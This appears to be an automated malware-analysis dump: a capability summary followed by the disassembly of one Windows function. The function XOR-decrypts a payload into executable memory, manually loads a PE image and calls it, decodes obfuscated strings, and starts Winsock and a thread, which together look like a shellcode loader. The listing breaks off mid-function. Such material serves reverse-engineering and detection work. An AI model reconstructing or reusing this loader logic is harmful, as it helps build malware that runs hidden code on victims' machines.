Function at 0x18001cef0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Initialize winsock library
Parse pe header
Set environment variable
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rax - 0x858]
sub rsp, 0x930
xor r14d, r14d
mov qword [rax - 0x38], r12
cmp byte [0x180039f0c], r14b
mov qword [rax - 0x40], r13
jne 0x18001cf25
cmp byte [reloc.WS2_32.dll_accept], r14b
je 0x18001cf53
cmp byte [reloc.WS2_32.dll_accept], r14b
je 0x18001cf6e
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [0x180043800]
lea rdx, str.NtMapViewOfSection
lea rcx, [0x18003ac00]
call fcn.18002ef30
cmp byte [reloc.WS2_32.dll_accept], r14b
je 0x18001cf6e
cmp byte [reloc.WS2_32.dll_accept], r14b
je 0x18001cf6e
xor edx, edx
xor ecx, ecx
call fcn.180032df0
cmp byte [reloc.WS2_32.dll_accept], r14b
movabs rbx, 0x549a2d1f135dad7a
mov qword [rsp + 0x928], rsi
movabs r12, 0x374ab96b0976e043
movabs r13, 0x50b56cba3071f064
je 0x18001d6fc
lea rcx, [rbp + 0x860]
mov dword [rbp + 0x860], r14d
call fcn.180008ea0
mov edx, dword [rbp + 0x860]
xor ecx, ecx
mov r8d, 0x1000
mov rsi, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10d, dword [rbp + 0x860]
mov r11d, r14d
mov rdi, rax
test r10d, r10d
je 0x18001d006
mov r9d, r11d
inc r11d
movzx ecx, r10b
imul edx, ecx, 0x1b
add dl, byte [r9 + rsi]
xor dl, 0xe5
mov byte [r9 + rax], dl
add r10d, 0xffffffff
jne 0x18001cfe1
mov r10d, dword [rbp + 0x860]
mov eax, r10d
xor ecx, ecx
mov r8d, 0x1000
mov edx, dword [rax + rdi - 4]
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov qword [rbp + 0x870], rax
mov rcx, rdi
call fcn.1800013c0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movabs rax, 0x5b42976365669443
mov r10, r14
mov qword [rbp + 0x1e0], rax
mov r11, rbx
movabs rax, 0x50d96cde5c339426
mov qword [rbp + 0x1e8], rax
movabs rax, 0x42d5b2e970765145
mov qword [rbp + 0x1f0], rax
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 + 0x1e0]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x1e0], rdx
inc r10
cmp r10, 3
jb 0x18001d080
lea rcx, [rbp + 0x1e0]
mov dword [rbp + 0x868], 0x700
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdx, qword [rbp + 0x870]
lea r8, [rbp + 0x868]
mov edi, 0x20b
xor r9d, r9d
mov ecx, dword [rdx + 0x3c]
cmp word [rcx + rdx + 0x18], di
mov rdx, rax
lea rcx, [rbp + 0x870]
jne 0x18001d112
call fcn.18000e050
jmp 0x18001d117
call fcn.18000d9e0
mov rcx, qword [rbp + 0x870]
xor edx, edx
mov eax, dword [rcx + 0x3c]
cmp word [rax + rcx + 0x18], di
jne 0x18001d131
call fcn.18000e6c0
jmp 0x18001d136
call fcn.18000e6c0
mov rcx, qword [rbp + 0x870]
xor r8d, r8d
mov eax, eax
add rax, rcx
lea edx, [r8 + 1]
call rax
movabs rax, 0x50b52de90e78f32b
movabs r15, 0x285df24a0b75fd7e
mov qword [rbp - 0x50], rax
mov r10, r14
mov qword [rbp - 0x58], r15
mov r11, rbx
nop dword [rax]
mov rax, qword [rbp + r10*8 - 0x58]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 - 0x58], rdx
inc r10
cmp r10, 2
jb 0x18001d170
mov rcx, qword [rbp + 0x870]
mov esi, 0x5a4d
test rcx, rcx
je 0x18001d1f5
cmp word [rcx], si
jne 0x18001d1f5
mov eax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x18001d1f5
xor r9d, r9d
lea rdx, [rbp - 0x58]
xor r8d, r8d
cmp word [rax + rcx + 0x18], di
jne 0x18001d1ee
call fcn.18000eb00
jmp 0x18001d1f8
call fcn.18000e740
jmp 0x18001d1f8
mov rax, r14
mov qword [0x18003b148], rax
mov r10, r14
movabs rax, 0x2dd18d30b78f32b
mov qword [rbp + 0x1c8], r15
mov qword [rbp + 0x1d0], rax
mov r11, rbx
movabs rax, 0x42acc08c0619324c
mov qword [rbp + 0x1d8], rax
nop
mov rax, qword [rbp + r10*8 + 0x1c8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x1c8], rdx
inc r10
cmp r10, 3
jb 0x18001d230
mov rcx, qword [rbp + 0x870]
test rcx, rcx
je 0x18001d2b9
cmp word [rcx], si
jne 0x18001d2b9
mov eax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x18001d2b9
xor r9d, r9d
lea rdx, [rbp + 0x1c8]
xor r8d, r8d
cmp word [rax + rcx + 0x18], di
jne 0x18001d2b2
call fcn.18000eb00
jmp 0x18001d2bc
call fcn.18000e740
jmp 0x18001d2bc
mov rax, r14
mov edi, dword [0x18003c8ac]
lea rcx, [0x18003b140]
mov qword [0x18003b140], rax
call fcn.18001f500
test al, al
je 0x18001d36a
test edi, edi
jne 0x18001d36a
movabs rax, 0x1041f1692c75fa69
mov r10, r14
mov qword [rbp - 0x48], rax
mov r11, rbx
movabs rax, 0x50b56cba5c1ded2f
mov qword [rbp - 0x40], rax
nop word [rax + rax]
mov rax, qword [rbp + r10*8 - 0x48]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 - 0x48], rdx
inc r10
cmp r10, 2
jb 0x18001d310
mov edx, dword [0x18003c8ac]
lea r8, [rbp - 0x48]
lea rcx, [0x18003d8b4]
call fcn.18002d4e0
mov ecx, 0x202
lea rdx, [rbp + 0x670]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x18001d3d1
movzx eax, word [0x18007e21c]
lea r9, [0x180039ef0]
mov qword [rsp + 0x28], r14
lea r8, [0x18002dba0]
xor edx, edx
mov word [0x180039f00], ax
xor ecx, ecx
mov dword [0x180039ef0], 0xffffffff
mov qword [0x180039ef8], r14
mov byte [0x180039ef4], 1
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x50b56cba5c1d9426
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], rax
mov r10, r14
mov r11, rbx
nop dword [rax]
mov rax, qword [rbp + r10*8 - 0x38]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 - 0x38], rdx
inc r10
cmp r10, 2
jb 0x18001d3f0
movabs rax, 0x818e1772c7ee07f
mov r10, r14
mov qword [rbp + 0x1f8], rax
mov r11, rbx
movabs rax, 0x11da38dd3274e63e
mov qword [rbp + 0x200], rax
movabs rax, 0x4282c19a1504354d
mov qword [rbp + 0x208], rax
nop dword [rax]
mov rax, qword [rbp + r10*8 + 0x1f8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x1f8], rdx
inc r10
cmp r10, 3
jb 0x18001d470
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0x1f8]
lea rcx, [0x180039800]
call fcn.18002f1d0
movabs rdi, 0x691dfe770464f06c
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x28], rdi
mov r10, r14
mov r11, rbx
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 - 0x28]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 - 0x28], rdx
inc r10
cmp r10, 2
jb 0x18001d500
movabs rax, 0x2b43de73156be66e
mov r10, r14
mov qword [rbp - 0x18], rax
mov r11, rbx
movabs rax, 0x50b515df1769e625
mov qword [rbp - 0x10], rax
nop word [rax + rax]
mov rax, qword [rbp + r10*8 - 0x18]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 - 0x18], rdx
inc r10
cmp r10, 2
jb 0x18001d570
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp - 0x28]
lea rdx, [rbp - 0x18]
lea rcx, [0x18003b0d0]
call fcn.18002e9f0
cmp byte [0x18003a1cc], r14b
jne 0x18001d5f6
cmp byte [0x180039e29], r14b
je 0x18001d6fc
cmp byte [reloc.WS2_32.dll_accept], r14b
je 0x18001d6fc
mov qword [rbp - 8], rdi
mov r10, r14
mov qword [rbp], r13
mov r11, rbx
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 - 8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 - 8], rdx
inc r10
cmp r10, 2
jb 0x18001d610
movabs rax, 0x294bc173156be66e
mov r10, r14
mov qword [rbp + 0x210], rax
mov r11, rbx
movabs rax, 0x31db0bd30f64f223
mov qword [rbp + 0x218], rax
movabs rax, 0x42d5b2be1504245d
mov qword [rbp + 0x220], rax
nop dword [rax]
mov rax, qword [rbp + r10*8 + 0x210]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x210], rdx
inc r10
cmp r10, 3
jb 0x18001d690
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp - 8]
lea rdx, [rbp + 0x210]
lea rcx, [0x18003b060]
call fcn.18002ead0
cmp byte [reloc.WS2_32.dll_accept], r14b
movabs rdi, 0x691dfb620b60f166
movabs r15, 0x42d5b2e970765129
je 0x18001ee03
movabs rax, 0x784afe6f392dc871
mov r10, r14
mov qword [rbp + 0x400], rax
mov r11, rbx
movabs rax, 0x3583558a0379fd3c
mov qword [rbp + 0x408], rax
movabs rax, 0x72e582b6141f210f
mov qword [rbp + 0x410], rax
movabs rax, 0x6a6efd94e7eb6793
mov qword [rbp + 0x418], rax
movabs rax, 0x1d7d1eb1640127a6
mov qword [rbp + 0x420], rax
movabs rax, 0x84088e273ea47a60
mov qword [rbp + 0x428], rax
movabs rax, 0xe4d4c44214641c27
mov qword [rbp + 0x430], rax
movabs rax, 0x7badc6f0e869c33d
mov qword [rbp + 0x438], rax
movabs rax, 0x6a1ea72a0771ac15
mov qword [rbp + 0x440], rax
movabs rax, 0x5f8a6c2da47b6184
mov qword [rbp + 0x448], rax
movabs rax, 0xb2e9707651293fe5
mov qword [rbp + 0x450], rax
nop
mov rax, qword [rbp + r10*8 + 0x400]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x400], rdx
inc r10
cmp r10, 0xb
jb 0x18001d7e0
xor edx, edx
lea rcx, [0x180039e30]
mov r8d, 0xa8
call fcn.180008e20
movups xmm0, xmmword [0x18007e228]
mov r8d, 0x5a
lea rdx, [rbp + 0x400]
movups xmm1, xmmword [0x18003e8b8]
lea rcx, [0x180039e44]
mov byte [0x180039e44], r14b
movups xmmword [0x180039ea7], xmm0
movups xmm0, xmmword [0x18007e238]
movups xmmword [0x180039eb7], xmm1
movups xmmword [0x180039ec7], xmm0
call qword [sym.imp.KERNEL32.dll_lstrcpynA]
movabs rsi, 0x3e5df6651160f758
mov dword [0x180039e40], 0xffffffff
mov qword [rbp + 8], rsi
mov r10, r14
mov qword [rbp + 0x10], r13
mov r11, rbx
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 + 8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 8], rdx
inc r10
cmp r10, 2
jb 0x18001d8b0
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x238], r15
mov r10, r14
mov rdi, rax
mov r11, rbx
movabs rax, 0x3647e3691060f75b
mov qword [rbp + 0x228], rax
movabs rax, 0x3cd908946c29a52f
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + r10*8 + 0x228]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x228], rdx
inc r10
cmp r10, 3
jb 0x18001d930
movabs r15, 0x5b2eee77067ff140
mov qword [rsp + 0x20], r14
mov qword [rbp + 0x878], r15
lea r8, [rbp + 0x228]
mov rax, qword [rbp + 0x878]
lea rdx, [rbp + 0x878]
movabs r13, 0x5b2e97076512942d
lea rcx, [0x18003a8f0]
xor rax, r13
mov r9d, 3
mov qword [rbp + 0x878], rax
call fcn.18002f470
movabs r12, 0x5b2ef468097ef540
test rdi, rdi
je 0x18001dc52
movabs rdi, 0x50b56cba3071f064
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rdi
mov r10, r14
mov r11, rbx
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x18]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x18], rdx
inc r10
cmp r10, 2
jb 0x18001da00
mov qword [rsp + 0x30], r15
lea r8, [rbp + 0x18]
mov rax, qword [rsp + 0x30]
lea rdx, [rsp + 0x30]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rsp + 0x30], rax
lea rcx, [0x18003a960]
call fcn.18002f470
mov r10, r14
mov qword [rbp + 0x28], rsi
mov r11, rbx
mov qword [rbp + 0x30], rdi
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 + 0x28]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x28], rdx
inc r10
cmp r10, 2
jb 0x18001da90
mov qword [rsp + 0x38], r12
lea r8, [rbp + 0x28]
mov rax, qword [rsp + 0x38]
lea rdx, [rsp + 0x38]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rsp + 0x38], rax
lea rcx, [0x18003a9d0]
call fcn.18002f840
cmp byte [0x180039f0c], r14b
je 0x18001dba1
mov qword [rbp + 0x38], rsi
mov r10, r14
mov qword [rbp + 0x40], rdi
mov r11, rbx
mov rax, qword [rbp + r10*8 + 0x38]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x38], rdx
inc r10
cmp r10, 2
jb 0x18001db21
movabs rax, 0x5b2e97070077e64b
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x40], rax
lea r8, [rbp + 0x38]
mov rax, qword [rsp + 0x40]
lea rdx, [rsp + 0x40]
xor rax, r13
lea rcx, [0x18003aa40]
mov r9d, 3
mov qword [rsp + 0x40], rax
call fcn.18002f680
cmp byte [0x180039e2e], r14b
je 0x18001dc52
cmp byte [0x180039fbb], r14b
je 0x18001dc52
movabs rax, 0x5b2ef27d0c61f972
mov r10, r14
mov qword [rsp + 0x48], rax
mov r11, rbx
mov rax, qword [rsp + 0x48]
xor rax, r13
mov qword [rbp + 0x48], rsi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x50], rdi
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x48]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x48], rdx
inc r10
cmp r10, 2
jb 0x18001dbf0
lea rcx, [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.18001c8d0
mov qword [0x180039f10], rax
movabs rdi, 0x6b1ca6552644c760
movabs rsi, 0x50b56cba3071f064
mov qword [rbp + 0x58], rdi
mov r10, r14
mov qword [rbp + 0x60], rsi
mov r11, rbx
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 + 0x58]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x58], rdx
inc r10
cmp r10, 2
jb 0x18001dc80
mov qword [rsp + 0x50], r15
lea r8, [rbp + 0x58]
mov rax, qword [rsp + 0x50]
lea rdx, [rsp + 0x50]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rsp + 0x50], rax
lea rcx, [0x18003aab0]
call fcn.18002f470
mov r10, r14
mov qword [rbp + 0x68], rdi
mov r11, rbx
mov qword [rbp + 0x70], rsi
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 + 0x68]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x68], rdx
inc r10
cmp r10, 2
jb 0x18001dd10
mov qword [rsp + 0x58], r12
lea r8, [rbp + 0x68]
mov rax, qword [rsp + 0x58]
lea rdx, [rsp + 0x58]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rsp + 0x58], rax
lea rcx, [0x18003ab20]
call fcn.18002f760
cmp byte [0x180039f0c], r14b
je 0x18001de30
mov qword [rbp + 0x78], rdi
mov r10, r14
mov qword [rbp + 0x80], rsi
mov r11, rbx
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 + 0x78]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x78], rdx
inc r10
cmp r10, 2
jb 0x18001ddb0
movabs rax, 0x5b2e97070077e64b
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x60], rax
lea r8, [rbp + 0x78]
mov rax, qword [rsp + 0x60]
lea rdx, [rsp + 0x60]
xor rax, r13
lea rcx, [0x18003ab90]
mov r9d, 3
mov qword [rsp + 0x60], rax
call fcn.18002f5a0
cmp byte [0x180039e2e], r14b
je 0x18001deeb
cmp byte [0x180039fbb], r14b
je 0x18001deeb
movabs rax, 0x5b2ef27d0c61f972
mov r10, r14
mov qword [rsp + 0x68], rax
mov r11, rbx
mov rax, qword [rsp + 0x68]
xor rax, r13
mov qword [rbp + 0x88], rdi
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x90], rsi
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x88]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x88], rdx
inc r10
cmp r10, 2
jb 0x18001de80
lea rcx, [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x68]
call fcn.18001c8d0
mov qword [0x180039f18], rax
movabs r15, 0x5b2eee620e71fb7f
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x70], r15
lea rdx, [rsp + 0x70]
mov rax, qword [rsp + 0x70]
lea rcx, [0x18003af80]
xor rax, r13
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x70], rax
call fcn.18002df60
movabs rax, 0x42d5de8514582245
movabs rdi, 0x1a6dfb66117cf169
movabs rsi, 0x31db1edf2865d10e
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x240], rdi
mov r10, r14
mov qword [rbp + 0x248], rsi
mov r11, rbx
nop
mov rax, qword [rbp + r10*8 + 0x240]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x240], rdx
inc r10
cmp r10, 3
jb 0x18001df60
mov qword [rsp + 0x78], r15
lea r8, [rbp + 0x240]
mov rax, qword [rsp + 0x78]
lea rdx, [rsp + 0x78]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rsp + 0x78], rax
lea rcx, [0x18003ace0]
call fcn.18002dde0
lea rcx, [0x18003ace0]
call fcn.180021400
test al, al
jne 0x18001e0ab
movabs rax, 0x2eb9d6c744402245
mov qword [rbp + 0x330], rdi
mov qword [rbp + 0x340], rax
mov r10, r14
movabs rax, 0xb56cba5c1d944a5
mov qword [rbp + 0x338], rsi
mov qword [rbp + 0x348], rax
mov r11, rbx
nop dword [rax]
mov rax, qword [rbp + r10*8 + 0x330]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x330], rdx
inc r10
cmp r10, 4
jb 0x18001e030
mov qword [rbp - 0x80], r15
lea r8, [rbp + 0x330]
mov rax, qword [rbp - 0x80]
lea rdx, [rbp - 0x80]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rbp - 0x80], rax
lea rcx, [0x18003ace0]
call fcn.18002dde0
movabs rax, 0x335af8683154c47a
mov r10, r14
mov qword [rbp + 0x3b0], rax
mov r11, rbx
movabs rax, 0x3fdc18d93971f119
mov qword [rbp + 0x3b8], rax
movabs rax, 0x2ebac09d1e191247
mov qword [rbp + 0x3c0], rax
movabs rax, 0x6f78aed6a09b76d3
mov qword [rbp + 0x3c8], rax
movabs rax, 0x2d5b2e9707657ef8
mov qword [rbp + 0x3d0], rax
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x3b0]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x3b0], rdx
inc r10
cmp r10, 5
jb 0x18001e110
mov qword [rbp - 0x78], r15
lea r8, [rbp + 0x3b0]
mov rax, qword [rbp - 0x78]
lea rdx, [rbp - 0x78]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rbp - 0x78], rax
lea rcx, [0x18003ae30]
call fcn.18002e170
movabs rax, 0x1841e562317bed40
mov r10, r14
mov qword [rbp + 0x350], rax
mov r11, rbx
movabs rax, 0x22da18d93973fa25
mov qword [rbp + 0x358], rax
movabs rax, 0x26fb86df1505306b
mov qword [rbp + 0x360], rax
movabs rax, 0xb56cba5c1d928c9
mov qword [rbp + 0x368], rax
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x350]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x350], rdx
inc r10
cmp r10, 4
jb 0x18001e1e0
mov qword [rbp - 0x70], r15
lea r8, [rbp + 0x350]
mov rax, qword [rbp - 0x70]
lea rdx, [rbp - 0x70]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rbp - 0x70], rax
lea rcx, [0x18003adc0]
call fcn.18002e040
movabs rax, 0x294bf1740b73e679
mov r10, r14
mov qword [rbp + 0x370], rax
mov r11, rbx
movabs rax, 0x3edc1eea182efb1e
mov qword [rbp + 0x378], rax
movabs rax, 0x74b0c1883204345d
mov qword [rbp + 0x380], rax
movabs rax, 0xb56cbc9adbd6a91
mov qword [rbp + 0x388], rax
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x370]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x370], rdx
inc r10
cmp r10, 4
jb 0x18001e2b0
mov qword [rbp - 0x68], r15
lea r8, [rbp + 0x370]
mov rax, qword [rbp - 0x68]
lea rdx, [rbp - 0x68]
xor rax, r13
mov qword [rsp + 0x20], r14
mov r9d, 3
mov qword [rbp - 0x68], rax
lea rcx, [0x18003ad50]
call fcn.18002e2a0
movabs rdi, 0x374ab96b0976e043
movabs r15, 0x50b56cba5c1d9426
mov qword [rbp + 0x98], rdi
mov r10, r14
mov qword [rbp + 0xa0], r15
mov r11, rbx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x98]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x98], rdx
inc r10
cmp r10, 2
jb 0x18001e360
movabs rax, 0x3e5af6621751e063
mov r10, r14
mov qword [rbp + 0xa8], rax
mov r11, rbx
movabs rax, 0x50b56cba3971fd0c
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + r10*8 + 0xa8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0xa8], rdx
inc r10
